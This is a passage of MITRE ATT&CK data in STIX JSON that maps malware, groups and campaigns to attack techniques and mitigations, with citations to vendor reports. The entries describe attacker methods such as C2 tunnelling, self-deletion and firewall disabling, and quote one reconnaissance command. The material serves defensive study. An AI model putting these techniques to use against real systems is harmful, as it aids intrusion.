[HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b6dbaf7-d578-4bc6-8f16-07e7c1aeedc8","type":"relationship","created":"2019-01-30T13:42:09.659Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-17T01:16:25.937Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) gathers the time zone information from the victim’s machine.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b6dec67-2a33-4da7-a2d4-a36ce28cabe8","created":"2024-02-12T19:59:35.169Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T20:44:23.648Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) performs various checks for running processes, including security software by looking for hard-coded process name values.(Citation: Ensilo Darkgate 2018) ","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b6f5eed-f21e-41db-a858-32bb0d12e593","created":"2022-09-16T22:18:40.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-19T18:17:45.264Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors collected the computer name, OS, and other system information using `cmd /c systeminfo > %temp%\\ temp.ini`.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b714bbe-2a8e-4673-b840-ca5e93a57b1d","created":"2023-02-14T18:35:34.023Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T21:05:17.790Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) has the ability to delete itself from disk by creating a suspended notepad process and writing shellcode to delete a file into the suspended process using `NtWriteVirtualMemory`.(Citation: MalwareBytes WoodyRAT Aug 2022) ","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b746637-fef8-474e-8960-822d758fb9b3","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Evi1cg Forfiles Nov 2017","description":"Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved September 12, 2024.","url":"https://x.com/Evi1cg/status/935027922397573120"},{"source_name":"VectorSec ForFiles Aug 2017","description":"vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved September 12, 2024.","url":"https://x.com/vector_sec/status/896049052642533376"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:43:45.133Z","description":"[Forfiles](https://attack.mitre.org/software/S0193) can be used to subvert controls and possibly conceal command execution by not directly invoking [cmd](https://attack.mitre.org/software/S0106).(Citation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfiles Nov 2017)","relationship_type":"uses","source_ref":"tool--90ec2b22-7061-4469-b539-0989ec4f96c2","target_ref":"attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b76353e-6ed6-4d20-b52d-ca7dde9dec9b","created":"2022-10-05T16:28:38.905Z","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-05T16:28:38.905Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) has encrypted collected data with AES-256 using a hardcoded key.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b769a4e-8898-4995-adc1-4334dc0ec0f7","created":"2021-01-25T16:16:36.266Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.424Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has encapsulated [Cobalt Strike](https://attack.mitre.org/software/S0154)'s C2 protocol in DNS and HTTPS.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b86fa49-6d13-42b4-bd48-814abfd6793f","type":"relationship","created":"2020-06-24T12:42:35.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-24T12:42:35.464Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b88b63a-c415-4218-b579-6a10de86b6eb","type":"relationship","created":"2020-02-20T16:58:50.680Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.","url":"https://pages.nist.gov/800-63-3/sp800-63b.html","source_name":"NIST 800-63-3"}],"modified":"2022-02-16T22:36:04.289Z","description":"Refer to NIST guidelines when creating password policies. (Citation: NIST 800-63-3)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b914660-657e-4f6e-a9be-ed51c840875e","type":"relationship","created":"2021-01-27T16:38:12.026Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-01-27T16:38:12.026Z","description":"[Evilnum](https://attack.mitre.org/groups/G0120) can collect email credentials from victims.(Citation: ESET EvilNum July 2020)","relationship_type":"uses","source_ref":"intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b953ac7-23b8-4ddc-90a3-7c9d17fc4f54","created":"2022-10-11T18:47:17.631Z","revoked":false,"external_references":[{"source_name":"Cybereason StrifeWater Feb 2022","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T18:47:17.631Z","description":"[StrifeWater](https://attack.mitre.org/software/S1034) can send data and files from a compromised host to its C2 server.(Citation: Cybereason StrifeWater Feb 2022)","relationship_type":"uses","source_ref":"malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b95c259-d8eb-4258-aec0-e7c92bf3ac05","type":"relationship","created":"2019-09-13T13:21:50.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2020-03-30T02:29:55.748Z","description":"[Machete](https://attack.mitre.org/software/S0409)'s collected data is encrypted with AES before exfiltration.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b96fb11-8b54-4bed-9e6c-cd93b29c5c20","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Agent.btz","description":"Gostev, A.. (2014, March 12). Agent.btz: a Source of Inspiration?. Retrieved April 8, 2016.","url":"https://securelist.com/agent-btz-a-source-of-inspiration/58551/"}],"modified":"2020-03-11T17:45:18.433Z","description":"[Agent.btz](https://attack.mitre.org/software/S0092) creates a file named thumb.dd on all USB flash drives connected to the victim. This file contains information about the infected system and activity logs.(Citation: Securelist Agent.btz)","relationship_type":"uses","source_ref":"malware--40d3e230-ed32-469f-ba89-be70cc08ab39","target_ref":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b9d30d9-7546-4fc0-87cb-1e432fe788e8","created":"2022-08-11T22:52:42.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T21:03:29.292Z","description":"[Moses Staff](https://attack.mitre.org/groups/G1009) has built malware, such as [DCSrv](https://attack.mitre.org/software/S1033) and [PyDCrypt](https://attack.mitre.org/software/S1032), for targeting victims' machines.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b9e5b99-2df6-47b4-9c97-9bf8dd01821d","type":"relationship","created":"2020-08-11T13:13:12.320Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-16T12:54:41.385Z","description":"Routinely check user permissions to ensure only the expected users have the ability to list IAM identities or otherwise discover cloud accounts.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8ba708a9-07a3-4c4e-8fee-15a1cdabf2f7","created":"2022-08-24T14:32:04.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"},{"source_name":"Medium Ali Salem Bumblebee April 2022","description":"Salem, A. (2022, April 27). The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. Retrieved September 2, 2022.","url":"https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T20:26:24.349Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) can use multiple Native APIs.(Citation: Proofpoint Bumblebee April 2022)(Citation: Medium Ali Salem Bumblebee April 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8ba71919-c776-4e1b-ad71-160649060d3e","created":"2020-05-12T22:05:50.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FOX-IT May 2016 Mofang","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020.","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:41:49.542Z","description":"[Mofang](https://attack.mitre.org/groups/G0103) has compressed the [ShimRat](https://attack.mitre.org/software/S0444) executable within malicious email attachments. [Mofang](https://attack.mitre.org/groups/G0103) has also encrypted payloads before they are downloaded to victims.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"intrusion-set--88489675-d216-4884-a98f-49a89fcc1643","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ba987a9-3a03-4996-8fb7-80f34a35f406","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","source_name":"Microsoft PLATINUM April 2016"}],"modified":"2020-03-16T20:15:13.212Z","description":"[PLATINUM](https://attack.mitre.org/groups/G0068) has used several different keyloggers.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ba9be70-d849-4f64-94b8-edc4384605a5","type":"relationship","created":"2020-11-13T21:28:40.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T21:28:40.603Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can detect VMWare via its I/O port and Virtual PC via the vpcext instruction.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8baa00da-64da-4acb-831e-2c001399394a","created":"2020-12-14T17:34:58.575Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:06:22.495Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) enumerates user accounts of the domain.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8babd998-d5ca-43b4-9a68-a20d5b84cf61","type":"relationship","created":"2021-09-16T20:22:34.595Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub Sliver Ifconfig","url":"https://github.com/BishopFox/sliver/blob/ea329226636ab8e470086a17f13aa8d330baad22/client/command/network/ifconfig.go","description":"BishopFox. (n.d.). Sliver Ifconfig. Retrieved September 16, 2021."}],"modified":"2021-10-16T02:19:13.862Z","description":"[Sliver](https://attack.mitre.org/software/S0633) has the ability to gather network configuration information.(Citation: GitHub Sliver Ifconfig)","relationship_type":"uses","source_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8baf3f0d-0ab4-4691-8ef7-8b9af8a8069c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-28T01:02:36.240Z","description":"[Remsec](https://attack.mitre.org/software/S0125) can add or remove applications or ports on the Windows firewall or disable it entirely.(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8bb0a7b0-a032-4278-abae-5730f574ff00","created":"2021-10-15T18:42:30.505Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Intezer TeamTNT September 2020","description":"Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021.","url":"https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.710Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has the curl and wget commands as well as batch scripts to download new tools.(Citation: Intezer TeamTNT September 2020)(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8bb2744c-3ea2-418b-818d-aaabe0c7746f","type":"relationship","created":"2020-09-11T14:56:37.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."},{"source_name":"Medium Anchor DNS July 2020","url":"https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30","description":"Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."}],"modified":"2020-09-11T15:22:21.641Z","description":"Variants of [Anchor](https://attack.mitre.org/software/S0504) can use DNS tunneling to communicate with C2.(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8bb3348e-f844-4e02-8f15-3e509478f120","type":"relationship","created":"2022-03-08T19:16:59.311Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."},{"source_name":"Trend Micro Cyclops Blink March 2022","url":"https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html","description":"Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022."}],"modified":"2022-03-17T15:48:24.926Z","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) can use the Linux API `if_nameindex` to gather network interface names.(Citation: NCSC Cyclops Blink February 2022)(Citation: Trend Micro Cyclops Blink March 2022)","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8bb44b86-379d-49ba-9b28-2451e69db30d","type":"relationship","created":"2017-05-31T21:33:27.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"},{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 